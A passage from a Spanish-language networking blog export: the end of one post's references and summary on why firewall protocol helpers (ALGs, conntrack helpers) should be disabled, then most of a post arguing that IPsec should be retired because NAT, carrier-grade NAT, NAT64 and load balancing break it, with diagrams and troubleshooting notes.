554, 1719, 1720, 1723, 5060, 5061, 6566 y 10080. El anuncio de los puertos de SIP de Adam Rice, 5 de noviembre de 2020: «a carefully-crafted HTTP request to port 5060 on an attacker\u0026rsquo;s server can fool some NAT devices into treating it as a SIP packet and setting up port forwarding to an attacker-controlled port number.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — SIP ALG Hardening for NAT and Firewall, IP Addressing Configuration Guide, Cisco IOS XE 17.x. «SIP ALG creates a firewall pinhole or a Network Address Translation (NAT) door based on the first value in the Via header field for each SIP request received.» El soporte de NAT para SIP está «enabled by default on port 5060». Véase también Using Application-Level Gateways with NAT, que afirma que SIP y H.323 vienen activados por defecto.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPalo Alto Networks — Disable the SIP Application-level Gateway (ALG). «SIP ALG creates dynamic NAT pinholes but may interfere with VoIP applications that have NAT traversal capabilities, causing communication failures.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2663 — IP Network Address Translator (NAT) Terminology and Considerations, agosto de 1999. La sección 2.9 es donde se define el Application Level Gateway.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3234 — Middleboxes: Taxonomy and Issues, febrero de 2002. La frase sobre la violación de capa está en la sección 2.11; el coste de añadir cajas al camino está en la sección 5, que añade que «creates extra points of attack, reduces or eliminates the ability to perform end to end encryption, and complicates trust models and key distribution models».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEric Leblond, Pablo Neira Ayuso, Patrick McHardy, Jan Engelhardt y Mr Dash Four — Secure use of iptables and connection tracking helpers. «This system relies on parsing of data coming either from the user or the server. It is therefore vulnerable to attack and great care must be taken when using connection tracking helpers.» Fuente de la cita sobre el comodín de IRC, y documenta el sysctl nf_conntrack_helper y el destino CT --helper.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCódigo fuente del kernel de Linux — net/netfilter/nf_conntrack_ftp.c. El parámetro de módulo loose viene en false por defecto, protegiendo el caso en que la dirección del comando PORT no es la del propio cliente; el comentario nombra el riesgo como «DMZ machines opening holes to internal networks, or the packet filter itself».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetfilter — H.323 conntrack/NAT helper, por el autor del módulo. Incluye el escenario de desvío de llamada que permite que una sesión se refiera a la dirección de un tercero.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDavid Leadbeater — NAT-Again: IRC NAT helper flaws, agosto de 2022. Demuestra el disparo por eco de ping, señala que también sirve para escanear, para desenmascarar usuarios ocultos y para desconectarlos nombrando el puerto 0, y recomienda: «Potentially entirely deprecate and remove nf_conntrack_irc, it\u0026rsquo;s unclear it has much use anymore.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCVE-2022-2663 — «An issue was found in the Linux kernel in nf_conntrack_irc where the message handling can be confused and incorrectly matches the message. A firewall may be able to be bypassed when users are using unencrypted IRC with nf_conntrack_irc configured.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — aviso para CVE-2018-15454, publicado por primera vez el 31 de octubre de 2018. La medida paliativa indicada es no inspect sip en ASA y configure inspection sip disable en FTD; la entrada de la base de datos nacional de vulnerabilidades registra que en el momento de publicarse, «Software updates that address this vulnerability are not yet available.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4217 — Securing FTP with TLS, octubre de 2005.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3715 — IPsec-Network Address Translation (NAT) Compatibility Requirements, marzo de 2004. La sección 2.1, punto (f), trata la elección del SPI frente a NAT; la sección 2.3 se titula Helper Incompatibilities y contiene las líneas citadas sobre el demultiplexado por cookie IKE y el análisis de cargas útiles ISAKMP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — IKE and ESP ALG, Application Layer Gateways User Guide. Fuente de la descripción de la puerta, de la nota de que el tráfico NAT-T por el puerto 4500 no lo procesa el ALG, y de la advertencia de que cuando dos clientes comparten una dirección traducida el dispositivo «will be unable to distinguish and route return traffic properly».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — IPsec Pass Through Inspection, ASA Firewall CLI Configuration Guide 9.20. «IPsec Pass Through application inspection provides convenient traversal of ESP (IP protocol 50) and AH (IP protocol 51) traffic associated with an IKE UDP port 500 connection.» No está en la política por defecto; el _default_ipsec_passthru_map que se suministra «sets no maximum limit on ESP connections per client».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3947 — Negotiation of NAT-Traversal in the IKE, y RFC 3948 — UDP Encapsulation of IPsec ESP Packets, ambos de enero de 2005.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCole Dishington — netfilter: nf_conntrack: Add conntrack helper for ESP/IPsec, mayo de 2021, tercera versión. Revisado en netfilter-devel y no integrado; net/netfilter en el kernel principal sigue sin contener nf_conntrack_proto_esp.c.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNCSC e IASME — Cyber Essentials: Requirements for IT Infrastructure v3.3, abril de 2026. El control 1, Firewalls, se aplica a «boundary firewalls, desktop computers, laptops, routers, servers, IaaS, PaaS, SaaS», y los tres requisitos citados en el texto son sus propias palabras.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3027 — Protocol Complications with the IP Network Address Translator, enero de 2001. «The purpose of this document is to identify the protocols and applications that break with NAT enroute.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWHATWG Fetch — pull request 1109, el cambio del estándar que añadió las entradas de puertos prohibidos en todos los navegadores.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenBSD — ftp-proxy(8). «ftp-proxy is a proxy for the Internet File Transfer Protocol.» Las conexiones de control le llegan solo porque tú las enviaste ahí: «FTP control connections should be redirected into the proxy using the pf(4) divert-to command, after which the proxy connects to the server on behalf of the client.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFortinet — Technical Tip: Disabling VoIP Inspection. Documenta la eliminación de la entrada de SIP de config system session-helper, el set default-voip-alg-mode kernel-helper-based, y señala que reactivarlo requiere reiniciar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Stopping FTP support in Firefox 90, 20 de julio de 2021, y Google — Deprecations and removals in Chrome 95, octubre de 2021: «Use of FTP in the browser is sufficiently low that it is no longer viable to invest in improving the existing FTP client.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/networking/protocol-helpers-turn-them-off/","summary":"Un ayudante de protocolo — SIP ALG, ayudante FTP, H.323 ALG, ayudante de conntrack, llámalo como lo llame tu fabricante — lee la carga útil de una conexión, encuentra ahí una dirección y un puerto escritos en texto, y abre un hueco entrante para ellos. No puede saber si ese texto lo escribió un cliente FTP real o un formulario oculto en una página web, porque no hay nada en él que lo distinga. Samy Kamkar enseñó el caso del navegador en 2010, NAT Slipstreaming lo repitió en 2020, y Armis lo extendió en 2021 a cualquier dispositivo de tu red, no solo a la máquina que hizo clic. El IETF pidió apagarlos por defecto en 2007, Linux los apagó en 2016, y los fabricantes de navegadores acabaron publicando una lista de puertos bloqueados que se lee como el índice de los módulos de conntrack. Este artículo recorre el mecanismo diagrama a diagrama — la tabla de expectativas, el truco de los límites de segmento, el desvío de llamada de H.323, el ayudante IRC que se dispara con el mensaje de otro —, suma el ayudante de paso de IPsec, que no puede leer ESP en absoluto y dirige los paquetes entrantes por un SPI que vio pasar en claro, y lo pone todo junto al requisito de cortafuegos de Cyber Essentials que claramente incumple, y da los comandos para apagarlo todo en Linux, Cisco, Juniper, FortiGate y MikroTik.","title":"Tu cortafuegos acepta instrucciones de desconocidos. Apaga los ayudantes de protocolo."},{"content":"IPsec fue una buena idea. Pon el cifrado en la capa de red, debajo de todo, y cada protocolo que va sobre IP hereda confidencialidad e integridad sin que se lo digan. Ninguna biblioteca que enlazar. Ningún certificado por aplicación. Nada que reescribir en lo que ya has entregado. El paquete sale protegido y llega protegido, y los routers intermedios lo llevan sin saber ni querer saber qué hay dentro.\nEse diseño se apoya en una suposición, y está escrita en la norma en vez de sobrentendida: la dirección de un paquete identifica la máquina de la que vino. Una asociación de seguridad se busca por la dirección de destino, el número de protocolo y el SPI1. La Authentication Header va más lejos y firma la propia cabecera IP, origen y destino incluidos2. Para IPsec la dirección no son metadatos de encaminamiento. Es parte de la identidad y parte del control de integridad.\nLuego este sector se pasó treinta años quitando la dirección.\nPrimero el NAT, para que una oficina cupiera detrás de una línea. Después el NAT de operador, para que varios cientos de hogares cupieran detrás de una dirección, porque activar IPv6 era trabajo y comprar una caja era compras — que es todo el asunto de Nunca nos quedamos sin direcciones. Nos quedamos sin ganas. y no lo voy a repetir aquí. Lo que importa para esta entrada es la consecuencia. Lo único sobre lo que se construyó IPsec es justo lo que la red de acceso moderna ya no ofrece.\nAsí que a IPsec se le pusieron parches. Envuelve el paquete cifrado en UDP para que un traductor tenga un puerto que reescribir. Pon la suma de comprobación a cero para que nadie la revise. Manda un paquete de un byte cada veinte segundos, para siempre, para que una tabla en el equipo de otro no olvide que existes. Despega la identidad de la dirección y cuélgala de un nombre. Abandona la Authentication Header, porque por construcción no puede sobrevivir a una cabecera reescrita. Y cuando un hotel bloquea UDP, envuélvelo todo además en TCP3.\nCada uno de esos puntos es una solución real, normalizada y respaldada por los fabricantes. Juntos son un protocolo sostenido por su propio andamiaje. Y el andamiaje es el argumento: uno no se pasa un cuarto de siglo apuntalando algo porque sea sano de raíz.\nLa conclusión a la que he llegado es que IPsec debe retirarse por completo. No ajustado, no vuelto a proponer con cifrados mejores, no conservado para el sitio a sitio porque esa parte aún funciona. Retirado, con fechas, igual que PPTP debió retirarse una década antes de que alguien se pusiera a ello. Lo que sigue son las pruebas, los diagramas, la documentación de los fabricantes que dice todo esto con sus propias palabras y — porque la mayoría de quienes leen esto tienen que mantener esas cosas funcionando el lunes — un método utilizable para diagnosticar averías de IPsec mientras tanto.\nLo que de verdad te cuesta, en tickets Antes de las normas, aquí está la factura, en el orden en que te la vas a encontrar.\nEl túnel se cae a reloj. Cada hora, o cada ocho, o tras veinte minutos sin tráfico. Vuelve en cuanto alguien abre un archivo, así que la mitad de los usuarios no lo reporta nunca y la otra mitad lo reporta como «la VPN va lenta». Nadie ha cambiado nada.\nDos personas en la misma casa no pueden conectarse a la vez. La segunda sube, la primera se cae. Llaman al servicio de asistencia por separado, así que los tickets nunca se cruzan y nadie ve el patrón en quince días.\nLo pequeño funciona y lo grande se queda colgado. El inicio de sesión funciona. Teams funciona. El ping funciona. Copiar un archivo se para siempre en el mismo punto, y abrir una página grande en una aplicación interna se queda ahí hasta que expira.\nEl túnel está levantado y no pasa tráfico. Los dos extremos dicen «establecido». Los dos extremos están contentos consigo mismos. No se mueve nada.\nNo entra nada desde fuera. El sitio a sitio con la delegación que se pasó a un operador de fibra alternativo ya no se establece en el sentido en que lo hacía, y nadie sabe decir por qué, solo que «les ha cambiado la IP».\nActivar la QoS rompió el cifrado. Alguien priorizó la voz, y ahora el extremo remoto descarta paquetes como si fueran repeticiones.\nNinguno de esos casos es un error de configuración en el sentido corriente. Cada uno es IPsec encontrándose con la red tal y como es hoy. El resto de esta entrada explica por qué, en orden, y cómo demostrar cuál te ha tocado.\nIPsec no lo transporta la red. IPsec es la red. Empieza por lo que era, porque el diseño es realmente bueno y las averías solo cobran sentido frente a él.\nESP no es un protocolo que corre sobre TCP o UDP. Es un protocolo de transporte, número de protocolo IP 50, asentado directamente sobre IP, en la misma ranura donde se sientan TCP y UDP. AH es el protocolo 51. Ninguno tiene campo de puerto, porque ninguno lo necesita: en el internet para el que se diseñó IPsec, la dirección de destino ya nombra exactamente una máquina, y el SPI en la cabecera ESP nombra qué asociación de seguridad de esa máquina. Dirección más protocolo más SPI. Ese trío es la búsqueda1.\nEl diseño tal y como está especificado: la dirección nombra la máquina, así que no hacen falta puertos y cualquier extremo puede empezar IPsec tal y como se especificó: la dirección es la identidad Host A 203.0.113.10 Routers solo reenvían Host B 198.51.100.7 cualquier extremo puede empezar Lo que sale de la máquina cabecera IP externa src 203.0.113.10 a 198.51.100.7 protocolo 50 = ESP SPI 4 B secuencia 4 B carga útil cifrada tu paquete, ilegible en tránsito ICV 16 B Búsqueda de la asociación = dirección de destino + protocolo + SPI. Ningún campo de puerto, porque no hace falta. Tres suposiciones de este diseño, todas ciertas en 1995: La dirección del paquete es la máquina. Nada del camino reescribe una cabecera. Se puede llamar a cualquier extremo. La Authentication Header va más lejos y firma la propia cabecera externa, origen y destino incluidos, de modo que un receptor puede probar que las direcciones no se tocaron por el camino. No está a escala. La sobrecarga de ESP depende del cifrado; aquí AES-GCM en modo túnel sobre IPv4. El diseño tal y como está especificado. ESP se asienta directamente sobre IP como protocolo 50, sin puertos, porque no los necesita — la dirección de destino nombra al host y el SPI nombra la asociación que hay en él. AH firma la propia cabecera IP. Ambos extremos tienen una dirección real y alcanzable, cualquiera de los dos puede iniciar la conversación, y nada en medio necesita entender la carga útil. Fíjate en lo que eso da. Ningún puerto de negociación que exponer, ninguna capa de sesión que equivocar, ninguna aplicación que tenga que apuntarse. Cualquiera de los dos extremos puede empezar. El centro de la red es tonto, que es exactamente lo que debe ser el centro de una red. Un router reenvía el protocolo 50 igual que reenvía el protocolo 6, y que no pueda leer la carga útil es el propósito y no una limitación.\nEs un diseño limpio. Y es también, en 2026, la descripción de un internet que la mayoría de quienes leen esto no pueden comprar.\nLuego alguien puso un traductor en cada camino Un NAT reescribe la dirección de origen, y a menudo el puerto de origen, para que varias máquinas compartan una dirección. Eso es todo lo que hace. Contra IPsec es casi una demolición completa, y el IETF fue lo bastante franco como para publicar un documento entero que enumera las piezas: RFC 3715, IPsec-Network Address Translation (NAT) Compatibility Requirements4. Dieciséis incompatibilidades distintas. Estas son las que importan.\nAH está acabado, por construcción. En las propias palabras del RFC 3715: «Since the AH header incorporates the IP source and destination addresses in the keyed message integrity check, NAT or reverse NAT devices making changes to address fields will invalidate the message integrity check.»4 — la cabecera AH mete las direcciones de origen y destino en el control de integridad, así que cualquier cambio de dirección lo invalida. No hay arreglo para eso, y nunca lo iba a haber. Un protocolo que firma la cabecera no cruza una caja cuyo trabajo entero es reescribir la cabecera. AH no se esquivó. Se abandonó.\nNo hay puertos que traducir. Un NAT que hace traducción de puertos necesita un puerto. ESP no tiene ninguno. Cisco lo escribe sin rodeos en la guía de configuración de Catalyst: «If PAT found a legislative IP address and port, it would drop the Encapsulating Security Payload (ESP) packet.»5 El paquete no se rechaza por política. Se tira porque la caja no tiene dónde escribir lo que necesita escribir.\nLa identidad deja de corresponder al paquete. De nuevo del RFC 3715: «Where IP addresses are used as identifiers in Internet Key Exchange Protocol (IKE) Phase 1 or Phase 2, modification of the IP source or destination addresses by NATs or reverse NATs will result in a mismatch between the identifiers and the addresses in the IP header.»4 — si las direcciones se usan como identificadores, tras la traducción el identificador ya no cuadra con la cabecera. Un esquema de identidad que nombra máquinas por dirección no sobrevive a un aparato que se gana la vida renombrando máquinas.\nDos máquinas pueden elegir el mismo SPI. El SPI lo elige el receptor y solo tiene que ser único para él. Pon dos hosts detrás de una dirección y el traductor tiene dos asociaciones sin nada que las distinga.\nNada puede entrar primero. Un NAT construye su tabla a partir de los paquetes salientes. No hay paquete saliente hasta que alguien empieza, y en una línea con NAT solo puede empezar el interior. La mitad de la simetría del protocolo se ha ido.\nUn traductor en el camino rompe cinco cosas a la vez, y cada arreglo cuesta algo Un traductor en el camino, y cinco cosas se rompen a la vez Host 192.0.2.20 Traductor reescribe el origen a 203.0.113.5 Pasarela 198.51.100.7 nada puede empezar por este lado Lo que destruye la reescritura 1 La cabecera firmada ya no cuadra. AH cubre las direcciones de origen y destino, así que el control de integridad falla por construcción. No hay arreglo. AH sencillamente no sirve a través de un traductor. 2 No hay puerto que reescribir. ESP es el protocolo IP 50 y no lleva campo de puerto, así que un traductor que hace traducción de puertos no tiene con qué y tira el paquete. 3 La identidad deja de corresponder al paquete. El intercambio de claves nombró al par por su dirección. La dirección de la cabecera es ahora de otro. 4 Dos hosts pueden elegir el mismo SPI. El receptor lo elige y solo garantiza que es único para él, así que el traductor tiene dos asociaciones que no puede distinguir. 5 Media simetría ha desaparecido. La tabla se construye con los paquetes salientes, así que solo el interior puede empezar. El compromiso, y lo que cuesta cada parte de él Envolver el paquete ESP entero en UDP en el puerto 4500, para que el traductor entienda algo. Abandonar del todo la Authentication Header, porque nada puede salvarla. Poner a cero la suma UDP, porque sobre direcciones reescritas solo fallaría. Despegar la identidad de la dirección y ponerla en un nombre que el par afirma. Mandar un byte cada veinte segundos, para siempre, para que el equipo de otro no te olvide. Funciona. Eso no se discute. El argumento es que nada sano necesita cinco concesiones para cruzar una caja. El mismo túnel con un traductor en el camino. Cinco cosas se rompen a la vez: la cabecera firmada ya no cuadra, no hay puerto que el traductor pueda reescribir, la identidad ya no cuadra con la dirección de origen, dos hosts pueden elegir el mismo SPI, y nada del exterior puede iniciar una conversación. La fila de abajo es lo que hizo el sector al respecto — y cada arreglo es algo a lo que se renunció. El arreglo era real, y cada parte de él costó algo La traversía de NAT funciona. Eso no se discute y no voy a fingir lo contrario. He explotado muchos túneles a través de muchos NAT. Lo que quiero dejar por escrito es la factura, porque la paga todo el mundo todos los días y casi nadie la desglosa.\nEl mecanismo es el RFC 3948: detectar un traductor durante el intercambio de claves y meter luego el paquete ESP entero en un datagrama UDP en el puerto 4500 para que el traductor tenga algo que entienda6. La descripción del formato en el cable que hace Cisco es exacta: tras el cifrado, «a UDP header and a non-IKE marker (which is 8 bytes in length) are inserted between the original IP header and ESP header»5 — se insertan una cabecera UDP y un marcador no-IKE de ocho bytes entre la cabecera IP original y la cabecera ESP. La de Juniper es más corta y dice lo mismo: «NAT-T encapsulates both IKE and ESP traffic within UDP with port 4500 used as both the source and destination port.»7\nAhora la factura desglosada.\nLa Authentication Header ha desaparecido. No desaconsejada con cortesía. Inservible. El RFC 8221 dice ya con claridad que usar ESP junto con AH es NOT RECOMMENDED8, y la razón honesta es que lo único que hacía AH y no hace ESP es justo lo que el NAT destruye.\nLa suma de comprobación UDP se pone a cero deliberadamente. El RFC 3948 lo exige: con las direcciones reescritas, una suma calculada sobre ellas fallaría, así que la respuesta de la norma es dejar de calcularla. «If the protocol header after the ESP header is a UDP header, set the checksum field to zero in the UDP header.»6 Una capa de detección de errores retirada para que siga funcionando una capa de reescritura de direcciones.\nAhora mandas paquetes para mantener caliente una tabla. El RFC 3948 define un keepalive como un byte, 0xFF, enviado cuando no ha salido nada más durante un intervalo configurable cuyo valor por defecto son veinte segundos6. Juniper da la razón sin adornos: «Because NAT devices age out stale UDP translations, keepalive messages are required between the peers.»7 Un portátil en un tren, sin hacer absolutamente nada, emite pues cada veinte segundos, para siempre, porque una tabla en una caja que no es de ninguno de los dos extremos olvidaría si no que existe. Multiplícalo por una flota. Eso es la radio despertándose, la batería bajando y la red móvil llevando tráfico cuyo único propósito es impedir el olvido.\nAhora filtras dos puertos en lugar de un protocolo, y la propia lista de restricciones de Cisco exige reglas de traducción estáticas para el 500 y el 4500 antes de que nada de esto funcione5.\nY lee el resto de esa lista de restricciones, porque ahí el fabricante te describe la forma del asunto. Políticas de NAT dinámico: no admitidas. Tráfico IPv6: incompatible con la función. IPsec y NAT en el mismo equipo: no pueden funcionar los dos5. Eso no es una guía de configuración. Es la lista de sitios a los que el andamiaje no llega.\nNada de esto es elegante, y tampoco es culpa de nadie en particular. Es lo que pasa cuando mantienes vivo un protocolo de capa 3 sobre una red que dejó de honrar la capa 3.\nEl NAT de operador quitó lo que quedaba El NAT corriente le quitó la dirección a la máquina y se la dio a la sede. El traductor seguía siendo tuyo, así que podías redirigir un puerto, fijar una asociación, alargar un temporizador o poner el concentrador delante.\nEl NAT de operador le quita la dirección a la sede y se la da a varios cientos de desconocidos, y el traductor es de tu proveedor. Todo lo que antes podías hacer al respecto, ahora no puedes.\nY ten claro qué hay de verdad en el camino, porque esta es la parte que la gente se equivoca. El router de casa sigue haciendo NAT. No se ha apagado. Sigue traduciendo tu portátil en 192.168.1.20 a la dirección que tenga la línea — salvo que la línea tiene ahora 100.64.12.7, espacio compartido, no una dirección pública. El operador traduce eso otra vez. El paquete cruza pues dos traductores antes de llegar a internet, y ese es el caso corriente, no una rareza.\nEl NAT de operador son dos traducciones, dos temporizadores, y ninguna dirección alcanzable en ninguno El NAT de operador son dos traducciones, no una Portátil 192.168.1.20 Router de casa traducción uno La línea 100.64.12.7 Traductor del operador traducción dos, a 203.0.113.9 tuya, y la única tabla que ves suya, compartida con varios cientos de hogares, invisible para ti nada de internet alcanza ninguna de esas dos direcciones Dos tablas, dos temporizadores, y gana el más corto. Tu keepalive tiene que ganarle al de los dos que caduque antes, y solo puedes leer uno. El que importa es el que no puedes ver. La redirección de puertos funciona y no sirve de nada. El router redirige tan contento un puerto desde una dirección que internet no alcanza. UPnP y PCP informan de éxito y abren una puerta a un pasillo. Por eso «he redirigido el 500 y el 4500 y sigue sin levantar» es un ticket tan común y tan engañoso. El papel de respondedor ha desaparecido. Dos delegaciones con fibra doméstica no pueden llamarse en absoluto. Algo en medio tiene que presentarlos, y ahora dependes de una empresa que nunca elegiste. La identidad no puede ser la dirección. Varios abonados llegan como una sola dirección, así que lo que los distingue no es el campo que IPsec iba a usar. Y hay un techo publicado: en las plataformas SRX grandes Juniper indica como mucho 1.000 túneles por dirección traducida. La confirmación más rápida no cuesta nada: lee la dirección WAN del router. Si empieza por 100.64, ese es el espacio compartido del RFC 6598, estás detrás de un CGNAT, y media página de ajustes es decorativa. Una línea de empresa con dirección fija real tiene una traducción y un extremo alcanzable. Eso es lo que el recargo mensual te vende de verdad: lo que antes tenía cada máquina por nada. El paquete se traduce dos veces: una por el router de casa, otra por el operador. Ninguna de las dos direcciones que lleva es alcanzable desde fuera. Eso significa dos tablas de asociación con dos temporizadores independientes de los que solo uno te resulta visible, una redirección de puertos que tiene éxito y no sirve de nada, ningún papel de respondedor, y una identidad de par que ya no puede ser una dirección. Estás bajo doble NAT, y solo una de las tablas es tuya. Dos traducciones significan dos tablas de asociación, dos temporizadores de caducidad y dos ocasiones de que la asociación desaparezca. Tu keepalive tiene que ganarle a la que expire antes, y solo puedes leer una de ellas. Peor aún, las dos se entrometen: el router de casa puede tener sus propias ideas sobre IPsec e intentar ayudar con una pasarela de aplicación, de modo que el puerto de origen que tu cliente cree usar no es el que sale de la casa, ni el que sale del operador.\nLa redirección de puertos sigue funcionando, y no sirve absolutamente de nada. Este es el ticket que más tiempo se come. Alguien redirige UDP 500 y 4500 en el router doméstico, el router lo acepta, la página de ajustes dice que la regla está activa — y nada puede usarla, porque redirige desde una dirección a la que internet no llega. UPnP y PCP se comportan igual: el cliente pide una asociación, el router se la concede, y el puerto se abre a un pasillo. Todo informa de éxito y nada funciona. La caja te contará lo que quieras oír.\nLa forma más rápida de zanjarlo no cuesta nada. Lee la dirección WAN en el router. Si empieza por 100.64, ese es el espacio compartido reservado en el RFC 6598, estás detrás de un NAT de operador, y media página de ajustes es decorativa.\nEl papel de respondedor ya no existe. Un equipo detrás de CGNAT no puede ser el extremo al que alguien llama. El sitio a sitio entre dos delegaciones con fibra doméstica — normal, barato y justo lo que quiere una empresa pequeña — exige que al menos un extremo tenga una dirección real, o un tercero en medio que los presente. Ese tercero es una empresa de la que ahora dependes porque tu proveedor no quiso darte una dirección.\nEl temporizador es de otro. El RFC 4787 dice a los operadores de NAT que una asociación UDP «MUST NOT expire in less than two minutes» y recomienda cinco o más9. Ese es el suelo y el consejo, no una promesa, y no puedes inspeccionar lo que hace de verdad tu operador. Como tal, el keepalive deja de ser un ajuste. Es portante, sobre un temporizador que estás adivinando.\nLa identidad de tu par no puede ser su dirección. Varios abonados llegan al extremo remoto como una sola dirección. Sea lo que sea lo que el concentrador use para distinguirlos, no es la cabecera IP — y es justo la que IPsec iba a usar.\nHay un techo duro, y los fabricantes lo publican. Juniper documenta que en SRX5400, SRX5600 y SRX5800, «the total number of tunnels from a given public translated IP cannot exceed 1000 tunnels»7. Léelo como operador y no como línea de especificación. Tu concentrador VPN tiene un límite por dirección compartida, el reparto lo hace un operador con el que no tienes contrato, y lo cerca que estés de ese límite depende de cuántos de tus usuarios estén por casualidad detrás del mismo. No hay contador que consultar. Solo está el día en que empieza a fallar para unos y no para otros.\nTodo lo de esta sección viene de una decisión que este país tomó y siguió tomando. Ese expediente lo he desarrollado entero en otro sitio y no lo repito. El punto aquí es más estrecho: la suposición central de IPsec la borró la red de acceso, y IPsec vive desde entonces de apaños.\nY la red solo IPv6 tampoco lo salva Aquí tengo que ser honesto contra mi propio argumento, porque la respuesta obvia a todo lo anterior es: muy bien, dale a cada máquina una dirección IPv6 real y IPsec vuelve a funcionar como está especificado.\nY así es, entre dos extremos que tengan una. Esa no es la red en la que está la mayoría de la gente.\nLas redes de acceso solo IPv6 que existen de verdad, el móvil en particular, llegan a internet IPv4 a través de NAT64, que en el sentido corriente no es un NAT en absoluto. Es un traductor de protocolo, que reescribe un paquete IPv6 como paquete IPv4. Y el RFC 6146 nombra lo que transportará, y nombra lo que no, sin ambigüedad ninguna:\n«The current specification only defines how stateful NAT64 translates unicast packets carrying TCP, UDP, and ICMP traffic. Multicast packets and other protocols, including the Stream Control Transmission Protocol (SCTP), the Datagram Congestion Control Protocol (DCCP), and IPsec, are out of the scope of this specification.»10\nIPsec, por su nombre, fuera del alcance. Y los paquetes que lleven cualquier cosa fuera de esa lista «SHOULD be discarded»10.\nAsí que en un teléfono o portátil solo IPv6 que intenta alcanzar un concentrador IPv4 — y esos son la mayoría de los concentradores —, el ESP nativo no lo tira un cortafuegos ni lo estropea un traductor. Es que no se transporta en absoluto. El traductor hace exactamente lo que su norma le dice.\nLa respuesta del sector a eso es, inevitablemente, otra capa más: 464XLAT, que le da al dispositivo una pila IPv4 local y traduce dos veces, fuera de IPv4 y de vuelta, para que lo que NAT64 no puede llevar funcione igualmente11. Ya está en la lista de añadidos de la entrada sobre IPv6 y no lo voy a volver a argumentar. Lo que merece decirse aquí es la forma: un protocolo que se rompió con el NAT en 2004 también se rompe con la traducción construida para la transición a IPv6 en 2011, y las dos veces la respuesta es envolverlo en otra cosa.\nEsa es la prueba que un protocolo tiene que pasar para tener sitio en 2026. ¿Funciona en la red que la gente tiene de verdad — detrás de la dirección compartida de un operador, en una red móvil solo IPv6, a través de un hotel que solo deja pasar TCP 443? Cualquier cosa construida sobre un puerto UDP pasa las tres sin que haya que decírselo. IPsec necesita un apaño distinto para cada una, y para la tercera además encapsulación TCP3.\nSin puertos tampoco hay segundo enlace Aquí hay una avería que no tiene nada que ver con el NAT, que es puramente moderna y de la que casi no se habla.\nRouters y conmutadores reparten el tráfico entre caminos paralelos. Agregación de enlaces, multicamino de igual coste: los dos funcionan igual, aplicando un hash a la quíntupla. Dirección de origen, dirección de destino, protocolo, puerto de origen, puerto de destino. ESP no tiene puertos. Así que cada paquete de un túnel entre las mismas dos direcciones da el mismo hash, y el túnel entero cae en un solo enlace del grupo, por muchos que hayas comprado.\nDos enlaces de 10G y un túnel IPsec te dan 10G. Cuatro te dan 10G. El equipo funciona exactamente como está diseñado.\nEl apaño tiene la forma de siempre. Algo de silicio sabe aplicar el hash al SPI en su lugar, ya que cada SPI nombra una asociación y por tanto un flujo, pero eso es una función que hay que haber comprado y no algo que puedas suponer de un camino que no es tuyo. Hay un borrador del IETF activo cuyo único propósito es envolver ESP en otra cabecera UDP para que los routers corrientes puedan aplicarle el hash, y dice por qué en una frase: «Although the ESP SPI field within the IPsec packets can be used as the load-balancing key, but it cannot be used by legacy switches and routers.»12 Su planteamiento del problema es igual de directo sobre lo que la gente hace en su lugar: «Many cloud service providers allow customers to establish multiple IPsec VPN tunnels in parallel to enable ECMP and increase aggregate bandwidth. However, this approach is not ideal, as each tunnel typically requires its own public IP address, leading to higher public IP consumption and increased operational overhead.»12\nDeja que eso repose un segundo. La forma recomendada de hacer más rápido un enlace cifrado es construir varios, cada uno quemando una dirección IPv4 pública — durante una escasez de direcciones — porque el protocolo no tiene número de puerto al que aplicar el hash. Mientras tanto, un túnel basado en UDP consigue el multicamino gratis, en equipos entregados hace quince años, porque tiene un puerto como todo lo demás en el internet moderno.\nEso no es un problema heredado que se vaya a apagar solo. Es un límite vivo para instalaciones nuevas, hoy, exactamente a las velocidades que la gente está comprando ahora.\nEl impuesto de la MTU, y quién lo paga Todo túnel cuesta bytes. IPsec cuesta más que la mayoría, y su forma de fallar cuando se queda sin sitio es el peor tipo de avería: intermitente, dependiente del tamaño e invisible para cualquier prueba que uno lance primero.\nLo que gasta cada túnel por paquete antes de que entren tus datos Bytes idos antes de que empiecen tus datos, a escala cabeceras, por paquete total ESP nativo túnel, AES-GCM IP 20 ESP 8 IV 8 cola + marca 18 54 B ESP en UDP puerto 4500, para NAT IP 20 UDP 8 ESP 8 IV 8 cola + marca 18 62 B L2TP/IPsec AES-CBC, NAT-T IP 20 UDP 8 ESP 8 IV 16 UDP 8 L2TP 6 PPP 4 cola + marca 18 88 B PPTP GRE, protocolo 47 IP 20 GRE 16 PPP 4 